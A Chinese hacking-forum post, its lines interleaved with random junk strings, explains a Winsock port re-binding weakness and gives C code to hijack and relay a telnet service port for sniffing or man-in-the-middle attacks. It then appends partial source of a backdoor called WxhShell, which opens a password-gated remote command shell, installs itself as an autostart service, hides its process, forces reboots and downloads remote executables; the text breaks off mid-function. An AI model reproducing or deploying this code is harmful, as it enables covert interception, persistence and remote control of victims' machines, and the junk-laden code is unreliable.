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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `3p~m,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8* Jw0mSw  
)M2F4[vcb  
  saddr.sin_family = AF_INET; ;Eu3[[V  
54zlnM$  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); q7u'_ R,;  
UMX@7a,[3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); (a9d/3M  
tTd\|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |bgo;J/  
bLt.O(T}  
  这意味着什么?意味着可以进行如下的攻击: boG_f@dv(  
1+?N#Fh  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 hY`\&@  
ybp -$e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <w3!!+oK"  
Ty88}V  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Z`YJBcXR  
}i!J/tJ)b  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  Z|}G6]h  
UA|u U5Q  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1}~(Yj@f%  
4Qn$9D+?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 K98i[,rP  
YKQr, Now  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 A$6$,h  
\d::l{VB  
  #include @JdZ5Q  
  #include Haqm^Ky$  
  #include >:lnt /N3  
  #include    LdJYE;k Ju  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4tY ss  
  int main() W`^@)|9^)  
  { E!S 78 z:  
  WORD wVersionRequested; nS>8bub30  
  DWORD ret; _V`DWR *  
  WSADATA wsaData; k{t`|BnPKB  
  BOOL val; I}R0q  
  SOCKADDR_IN saddr; P;4w*((} ~  
  SOCKADDR_IN scaddr; 37}D9:#5C  
  int err; w3$   
  SOCKET s; b+Br=Fv"T  
  SOCKET sc; `p+Zz"/  
  int caddsize; ToYAW,U[d  
  HANDLE mt; 47J5oPT2'  
  DWORD tid;   $\9~)Rq6  
  wVersionRequested = MAKEWORD( 2, 2 ); ,0LU~AGe   
  err = WSAStartup( wVersionRequested, &wsaData ); %D *OO{  
  if ( err != 0 ) { Dd` Mv$*d8  
  printf("error!WSAStartup failed!\n"); &r:7g%{n  
  return -1; 7g3 >jh  
  } ;J7F J3n  
  saddr.sin_family = AF_INET; o=`C<}  
   jlxpt)0i  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 2 3gPbtq/  
AlJ} >u  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); r(9~$_(vK  
  saddr.sin_port = htons(23); XVU2T5s}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z?35=%~w   
  { (y^vqMz  
  printf("error!socket failed!\n"); 1)Zf3Y8  
  return -1; TsTPj8GAl[  
  } ({o'd=nO  
  val = TRUE; l#n,Fg3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 R4-~jgzx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) tsk)zP,<  
  { !F?XLekTi  
  printf("error!setsockopt failed!\n"); }\C-} Q  
  return -1; &\_iOw8  
  } 4!KoFoZt*  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; =JmT:enV  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 {p,]oOq\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 *z7dl5xJ  
)+fh-Ui  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZK)%l~J  
  { 33}oO,}t,  
  ret=GetLastError(); U,LTVYrO  
  printf("error!bind failed!\n"); %Rsp;1Z  
  return -1; Sf8{h|71  
  } G$sA`<<  
  listen(s,2); 71l%MH  
  while(1) TiH) 5  
  { b5^OQH{v  
  caddsize = sizeof(scaddr); )5 R=Z<  
  //接受连接请求 k?7 X3/O  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); )rixMl &[  
  if(sc!=INVALID_SOCKET) edPUG N  
  { IY*EA4>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B-r0"MX&  
  if(mt==NULL) LCQE_}Mh  
  { fj&i63?e  
  printf("Thread Creat Failed!\n"); >]c*'~G&  
  break; SCTA=l.  
  } \J6j38D5  
  } SV(]9^nW  
  CloseHandle(mt); 'PP#^aI,  
  } ^4o;$u4R  
  closesocket(s); R=KQ  
  WSACleanup(); PsZ >P|e1  
  return 0; |n] d34E  
  }   FJd]D[h  
  DWORD WINAPI ClientThread(LPVOID lpParam) qcT'nZ:  
  { ,\@O(; mF  
  SOCKET ss = (SOCKET)lpParam; c ;'[W60  
  SOCKET sc; Y3=_ec3w  
  unsigned char buf[4096]; <wAFy>7  
  SOCKADDR_IN saddr; QNl'ZB \  
  long num; z0do;_x]E  
  DWORD val; m1*O0Tg]"  
  DWORD ret; }m-FGk  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^7Fh{q4IE  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   5+wAzVA  
  saddr.sin_family = AF_INET; |ely|U. Tf  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); vEn4L0D  
  saddr.sin_port = htons(23); M4W5f#C5Ee  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Rx+p.  
  { k]I0o)+O.  
  printf("error!socket failed!\n"); RH|XxH*  
  return -1; /g4f`$a  
  } aT`%;i^  
  val = 100; 3Gip<\$v  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fS`$'BQ  
  { gatB QwJb9  
  ret = GetLastError(); cA:*V|YV `  
  return -1; mbueP.q[?  
  } >&U,co$>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k|!EDze43?  
  { O &-wxJ]S  
  ret = GetLastError(); ]H1I,`=@  
  return -1; =3v]gOcO  
  } >orK';r<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) jfqopiSi  
  { ~appY Av  
  printf("error!socket connect failed!\n"); P$-X)c$&  
  closesocket(sc); DX|# gUAm  
  closesocket(ss); f^.AD-  
  return -1; EE W_gFn  
  } jNC4_q&  
  while(1) y? co|  
  { 2TA*m{\Hr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 L5\WpM=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 eET}r 24  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >MvDVPi~+  
  num = recv(ss,buf,4096,0); >HS W]"k  
  if(num>0) Zp# v Hs  
  send(sc,buf,num,0); XSZ k%_  
  else if(num==0) Ny%(VI5:  
  break; }_68j8`  
  num = recv(sc,buf,4096,0); ~Onoe $A[<  
  if(num>0) @Rw!'T  
  send(ss,buf,num,0); v@d  
  else if(num==0) :EA\)@^$R  
  break; TU 1I} ,  
  } lgtC|k M=  
  closesocket(ss); ~((w?Yy"v  
  closesocket(sc); J":,Vd!*-  
  return 0 ; ,kn"> k9  
  } 'u1?tQ=gmk  
Ez-[ )44/  
X7g1:L1Ys  
========================================================== G"XVn~]  
VH1d$  
下边附上一个代码,,WXhSHELL =>! Y{: y(  
'^"6+k  
========================================================== X.e7A/ClEo  
yu/`h5&*  
#include "stdafx.h" |1>*;\o-  
JC3m.)/  
#include <stdio.h> >L 0_dvr  
#include <string.h> h^o{@/2  
#include <windows.h> <z!CDg4  
#include <winsock2.h> [n$BRk|  
#include <winsvc.h> 6 M*O{f  
#include <urlmon.h> hHMN6i  
byfJy^8G  
#pragma comment (lib, "Ws2_32.lib") iS<I0\D  
#pragma comment (lib, "urlmon.lib")  MEGv}  
O~^"  
#define MAX_USER   100 // 最大客户端连接数 IDG}ZlG  
#define BUF_SOCK   200 // sock buffer \9g+^vQg  
#define KEY_BUFF   255 // 输入 buffer *NClfkZ  
9& 83n(m  
#define REBOOT     0   // 重启 G JqJlgHe  
#define SHUTDOWN   1   // 关机 \0f{S40  
 W0]gLw9*  
#define DEF_PORT   5000 // 监听端口 i0$kit  
ZXuv CI  
#define REG_LEN     16   // 注册表键长度 %GS(:]{n  
#define SVC_LEN     80   // NT服务名长度 #: [<iSk  
Ch3jxgQY  
// 从dll定义API Ub * wuI  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uPl\I6k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `p;I}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9Q+'n$s0^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); jyZWV L:_  
9AJ7h9L  
// wxhshell配置信息 XnWr5-;  
struct WSCFG { N/K.%<h  
  int ws_port;         // 监听端口 9B7^lR  
  char ws_passstr[REG_LEN]; // 口令 SV~~Q_U9  
  int ws_autoins;       // 安装标记, 1=yes 0=no Aw5HF34J  
  char ws_regname[REG_LEN]; // 注册表键名 S :<Nc{C  
  char ws_svcname[REG_LEN]; // 服务名 Y1J=3Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X'qU*Eo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jm Fz51  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l|k`YC x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no / :n#`o=;  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _c_[ C*T]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 x}8yXE"  
L|}lccpI  
}; \hEN4V[  
o_^?n[4  
// default Wxhshell configuration J\M>33zu  
struct WSCFG wscfg={DEF_PORT, A* /Hj TX  
    "xuhuanlingzhe",  O2%?  
    1, :1bWVM)  
    "Wxhshell", DRi<6Ob  
    "Wxhshell", {*I``T_+  
            "WxhShell Service", xe` </  
    "Wrsky Windows CmdShell Service", l.NEkAYPmH  
    "Please Input Your Password: ", xM&Wgei]10  
  1, 8;+B*+%@n  
  "http://www.wrsky.com/wxhshell.exe", 'GS"8w~j  
  "Wxhshell.exe" T, )__h  
    }; 428>BQA  
|='z{WS  
// 消息定义模块 z-.+x3&o @  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6U R2IxbE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; [c|]f_ZdK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &b fA.& `  
char *msg_ws_ext="\n\rExit."; &-B^~M*??  
char *msg_ws_end="\n\rQuit."; Nbi.\  
char *msg_ws_boot="\n\rReboot..."; k@3Q|na  
char *msg_ws_poff="\n\rShutdown..."; 283F)T\Rv  
char *msg_ws_down="\n\rSave to "; s pp f  
~2QR{; XQ  
char *msg_ws_err="\n\rErr!"; O4V.11FnW  
char *msg_ws_ok="\n\rOK!"; KQg]0y d  
<BMXCk  
char ExeFile[MAX_PATH]; )6D,d5<  
int nUser = 0; :i. {  
HANDLE handles[MAX_USER]; Wg<(ms dj  
int OsIsNt; h_+dT  
s)6U_  
SERVICE_STATUS       serviceStatus; Xy$3VU*  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +>{Y.`a;Jo  
pw)||Q  
// 函数声明 a@UZb  
int Install(void); ,l:ORoND  
int Uninstall(void); t7j);W%e6  
int DownloadFile(char *sURL, SOCKET wsh); +oovx2r&  
int Boot(int flag); ~^r29'3  
void HideProc(void); A Sk|A!  
int GetOsVer(void); nwF2aRNV  
int Wxhshell(SOCKET wsl); @c;|G$E@3  
void TalkWithClient(void *cs); J:V6  
int CmdShell(SOCKET sock); 5',8 ziJQ  
int StartFromService(void); )W;o<:x3  
int StartWxhshell(LPSTR lpCmdLine); 4;0lvDD  
5n9B?T8C  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P'Ux%Q+B>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); UJ CYs`y  
IpcNuZo9&  
// 数据结构和表定义 lE&&_INHQ  
SERVICE_TABLE_ENTRY DispatchTable[] = /2=#t-p+  
{ GycSwQ ,  
{wscfg.ws_svcname, NTServiceMain}, 0+kH:dP{  
{NULL, NULL} I uMQ9 &  
}; Tk:h@F|B.|  
=,_ +0M9  
// 自我安装 LIvFx|  
int Install(void) H1QJ k_RL  
{ iV*q2<>  
  char svExeFile[MAX_PATH]; 0Tx{3#  
  HKEY key; CzRc%%BA  
  strcpy(svExeFile,ExeFile); XF;ES3 d  
Of[XKFn_  
// 如果是win9x系统,修改注册表设为自启动 3TY5;6  
if(!OsIsNt) { l0PZ`m+;j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;h*K}U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `Nb[G)Xh  
  RegCloseKey(key); XkXHGDEf1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SEGri#s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ymx>i~>7J  
  RegCloseKey(key); ZaV8qAsP  
  return 0; ['B?i1 .  
    } UBaAx21x  
  } 0 yuW*z  
} MHX?@. v  
else { $_o-~F2i5  
->g*</  
// 如果是NT以上系统,安装为系统服务 '%dfz K*Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x,|hU@h  
if (schSCManager!=0) #><.oreXq  
{ V-Sd[  
  SC_HANDLE schService = CreateService h?BFvbAt  
  ( vdx0i&RiL  
  schSCManager, g!?:Ye`5  
  wscfg.ws_svcname, ?fUlgQ }N  
  wscfg.ws_svcdisp, bzuEfFaL  
  SERVICE_ALL_ACCESS, r^3acXl  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QxVq^H  
  SERVICE_AUTO_START, G MX?  
  SERVICE_ERROR_NORMAL, &eCa0s?mI  
  svExeFile, )4<__|52"1  
  NULL, OwH81#   
  NULL, >0p h9$  
  NULL, Mn2QZp4  
  NULL, Y2ZT.l  
  NULL F`Q[6"<a  
  ); uW@oyZUj  
  if (schService!=0) :(!` /#6H  
  { w$z}r  
  CloseServiceHandle(schService); mKL<<L [  
  CloseServiceHandle(schSCManager); Li/O  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rV R1wsaL  
  strcat(svExeFile,wscfg.ws_svcname); kb{]>3Y"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %l}D.ml  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f]`#J%P  
  RegCloseKey(key); TMlP*d#  
  return 0; q)S^P>  
    } {mZC$U'  
  } '_w=k 4  
  CloseServiceHandle(schSCManager); gQxbi1!;9  
} ur$ _  
} <acUKfpY  
xLNtIzx  
return 1; E:JJ3X|  
} aqRhh=iS  
ypKUkH/  
// 自我卸载 RrX[|GLSJ  
int Uninstall(void) 2ORNi,_I  
{ \ 3wfwu.q  
  HKEY key; j9?}j #@  
EQb7 -vhg  
if(!OsIsNt) { 3DiLk=\~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wQP^WzNE  
  RegDeleteValue(key,wscfg.ws_regname); e vrXo"3  
  RegCloseKey(key); [S HXJ4P*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i'H/ZwU  
  RegDeleteValue(key,wscfg.ws_regname); n>+mL"hs  
  RegCloseKey(key); )uj Ex7&c  
  return 0; /'].lp  
  } ^)(bM$(`  
} 4zev^FR  
} bJRN;g  
else { Ox&P}P0f  
8+a4>8[M  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s \;"X  
if (schSCManager!=0) E^ P,*s  
{ q|o}+Vr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xO^:_8=&:  
  if (schService!=0) =vQcYa  
  { ^W'fA{sr  
  if(DeleteService(schService)!=0) { !%^^\,  
  CloseServiceHandle(schService); z=rT%lz6  
  CloseServiceHandle(schSCManager); # {w9s 0:  
  return 0; ZHU5SXu  
  } %QH)'GJQ  
  CloseServiceHandle(schService); |Y$uqRdV  
  } *)ardZV${  
  CloseServiceHandle(schSCManager); 1crnm J!C  
} s }UjGFP  
} UDL!43K  
+Z7th7W/,  
return 1; zEd0Tmt  
} r=5{o 1"  
>XY`*J^  
// 从指定url下载文件 6-yd]("  
int DownloadFile(char *sURL, SOCKET wsh) "U!AlZ`g  
{ WG N=Y~E  
  HRESULT hr; d F9!G;V  
char seps[]= "/"; =yr0bGy`-  
char *token; y4*U6+#.  
char *file; A'q#I>j`  
char myURL[MAX_PATH]; TD1 [  
char myFILE[MAX_PATH]; &Q;sSIc  
Ss~;m']68  
strcpy(myURL,sURL); "x=f=;  
  token=strtok(myURL,seps); !/}O>v~o  
  while(token!=NULL) =Z P%mW&;}  
  { ?o oe'V@  
    file=token; wfU7G[  
  token=strtok(NULL,seps); eqP&8^HP  
  } "^w]_^GD$d  
w[9|cgCY  
GetCurrentDirectory(MAX_PATH,myFILE); Bg&i63XL$$  
strcat(myFILE, "\\"); /2UH=Q!x4E  
strcat(myFILE, file); ;A|-n1e>Hc  
  send(wsh,myFILE,strlen(myFILE),0); |B'9\OkP[=  
send(wsh,"...",3,0); -BRc8 /  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); bSfpbo4(  
  if(hr==S_OK) 6|aKL[%6  
return 0; jGXO\:s O  
else ofPHmh`  
return 1; !lf|7  
4]h =yc R  
} RIb4!!',c  
B:gjAb}9T  
// 系统电源模块 /4a._@1h[y  
int Boot(int flag) (8Bk;bd  
{ x^kp^ /f  
  HANDLE hToken; &xa(BX%,c  
  TOKEN_PRIVILEGES tkp; =+U `-J} g  
ue4Vcf  
  if(OsIsNt) { 0J?~N`#O|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Y' %^NP}o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); G?E oPh^m  
    tkp.PrivilegeCount = 1; (yF:6$:#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~i~7 n a|  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E=e*VEjy  
if(flag==REBOOT) { l^|UCgRn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Sz^ veh?  
  return 0; @\|_  
} R_sr?V|"  
else { 6^]!gR#B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E"+QJ~!  
  return 0; Svondc 4  
} LXbP 2  
  } t?}zdI(4  
  else { ^.1c{0Y^0  
if(flag==REBOOT) { 7on.4/;M  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?Cl%{2omO  
  return 0; AtdlZ  
} 2] zq#6ix  
else { AD1=[I3  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 9[G[$c  
  return 0; x|mqL-Q f  
} <_3b1VhZ  
} |&FkksNAl\  
wQe_vY  
return 1; JsDpy{q  
} W#KpPDgZE  
`Jzp Sw  
// win9x进程隐藏模块 @&X|5p"[g  
void HideProc(void)  _59huC.  
{ g=QDu7Ux  
 c|M6 <}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8g&? Cc  
  if ( hKernel != NULL ) kKAP"'v  
  {  .Nw=[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W7U2MqQ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #=6E\&NC  
    FreeLibrary(hKernel); W}5xmz  
  } kL$!E9  
A<1hOSCz\  
return; n}'=yItVL1  
} vU767/  
95YL]3V  
// 获取操作系统版本 )xbHCoU,  
int GetOsVer(void) MrDc$p W G  
{ %kdE un  
  OSVERSIONINFO winfo; $Hj.{;eC/k  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }HY-uQ%@g  
  GetVersionEx(&winfo); w+yC)Rmz  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Cq'KoN%nQ  
  return 1; _>| =L W@7  
  else R~)\3] "2m  
  return 0; %@.v2 cT  
} kg'o&^/=  
{vuZ{I Ja  
// 客户端句柄模块 KU8J bl*   
int Wxhshell(SOCKET wsl) E=>FjCsu<-  
{ .ox8*OO<  
  SOCKET wsh; %d?cP}V  
  struct sockaddr_in client; .7l&1C)i  
  DWORD myID; *g6n  
P %#<I}0C  
  while(nUser<MAX_USER) EJsM(iG]~M  
{ .w0s%T,8}^  
  int nSize=sizeof(client); cUY`97bn  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); <Dwar>}  
  if(wsh==INVALID_SOCKET) return 1; ;\=M; Zt  
[N/"5 [  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h&--,A >  
if(handles[nUser]==0) %`r?c<P}  
  closesocket(wsh); N7O-2Z *  
else Cn "s` q  
  nUser++; 1(|'WyD  
  } xO&eRy?%  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8$0rR55  
\3pc"^W  
  return 0; /7}It$|nhy  
} [[;e)SoA  
6f\Lf?vF  
// 关闭 socket U-R6xxPZ  
void CloseIt(SOCKET wsh) `QyO`y=?[Y  
{ =5kY6%E7c  
closesocket(wsh); X{\F;Cb*  
nUser--; OoA|8!CFa  
ExitThread(0); aFS,GiB  
} {= F /C,-  
QNpqdwu%h  
// 客户端请求句柄 S/4^ d &Gr  
void TalkWithClient(void *cs) %?p1d!  
{ ~v6OsH%vx  
=Ur}~w&H8  
  SOCKET wsh=(SOCKET)cs; aB7+Tb  
  char pwd[SVC_LEN]; ][?G/*k  
  char cmd[KEY_BUFF]; qI~xlW  
char chr[1]; Tl2C^j  
int i,j; @wE5S6! B\  
(X?%^^e!  
  while (nUser < MAX_USER) { 4cl\^yD  
0@H|n^Md#  
if(wscfg.ws_passstr) { &NH$nY.r  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m]5Cq6  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F.w 5S!5Q  
  //ZeroMemory(pwd,KEY_BUFF); .HkL2m  
      i=0; F W/W%^  
  while(i<SVC_LEN) { STxKE %l  
9J9)AV  
  // 设置超时 fjs [f'L  
  fd_set FdRead; Q\ U:~g3  
  struct timeval TimeOut; iZaI_\"__  
  FD_ZERO(&FdRead); !f&Kf,#b`  
  FD_SET(wsh,&FdRead); ?kB2iU_f+  
  TimeOut.tv_sec=8; N4L|;?  
  TimeOut.tv_usec=0; ^eR%N8Z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h-Fn?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); >(?9?  
hvDNz"ec{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `kZ@Zmj#  
  pwd=chr[0]; 3td)'}  
  if(chr[0]==0xd || chr[0]==0xa) { ]dI2y=[!C  
  pwd=0; w8Sp <6*  
  break; = c>Qx"Sw  
  } *:L?#Bw  
  i++; E}40oID  
    } /4` 0?/V  
YwZ Z{+n  
  // 如果是非法用户,关闭 socket Qzlo'e1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Axe8n1*y  
} ReM=eS  
S5G6Rj@W  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^xij{W`|  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nij!1z|M  
;K!]4tfJ  
while(1) { X_$Cb<e  
+YqZ ((  
  ZeroMemory(cmd,KEY_BUFF); ?sMP~RHQ  
6y6<JR-V2k  
      // 自动支持客户端 telnet标准   ~:3QBMk::  
  j=0; DsT>3  
  while(j<KEY_BUFF) { 34d3g  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); \hM|(*DL  
  cmd[j]=chr[0]; Bc6|n :;u  
  if(chr[0]==0xa || chr[0]==0xd) { }RwSp!}C  
  cmd[j]=0; S%yd5<%_  
  break; a^=-Mp  
  } 3WUTI(  
  j++; ($}`R xj1@  
    } :&:JTa1cv  
TW[_Ko86  
  // 下载文件 ?)`L$Vr=  
  if(strstr(cmd,"http://")) { 5lm<%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &<UMBAS  
  if(DownloadFile(cmd,wsh)) c2e tc8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?zQA  
  else K9OYri^TQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xv&Q+HD  
  } qeL5D*  
  else { V\^EfQ  
.R9IL-3fO  
    switch(cmd[0]) { [BT/~6ovrZ  
  pb$~b\s]=  
  // 帮助 qU#BJON]BR  
  case '?': { 3 AsT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z&{5;A}Q@  
    break; rxy&spX  
  } U5He?  
  // 安装 Q)LM-ZJKQ  
  case 'i': { \'CDRr"uw  
    if(Install()) 2EfF=Fm>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S6AU[ASY.  
    else `~ * @q!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R0L&*Bjm  
    break; av$/Om :  
    } '*?WU_L(g  
  // 卸载 -*m+(7G\  
  case 'r': { FxVZ[R  
    if(Uninstall()) kn>$lTHQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8`fjF/  
    else $`- 4Ax4%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =Q[b'*o7  
    break; T+<A`k: -  
    } `/~8}Y{  
  // 显示 wxhshell 所在路径 -tyK~aasQ  
  case 'p': { 4=Krq6{  
    char svExeFile[MAX_PATH]; H8`(O"V  
    strcpy(svExeFile,"\n\r"); iTV) NsC}  
      strcat(svExeFile,ExeFile); V 2i@.@$j  
        send(wsh,svExeFile,strlen(svExeFile),0); _<NMyRJo  
    break; W~p/,HcM  
    } aOiR l,  
  // 重启 ltD37QZQ  
  case 'b': { 3l3'bw2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); YJl("MZ  
    if(Boot(REBOOT)) 61j I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [fKUyIY_  
    else { #*g5u{k'P  
    closesocket(wsh); `zE}1M%y  
    ExitThread(0); %LZ({\5K#f  
    } a\:VREKj,  
    break; ?zsB6B?;  
    } 8krpowVs~  
  // 关机 cPU/t kc  
  case 'd': { CBD6bl|A  
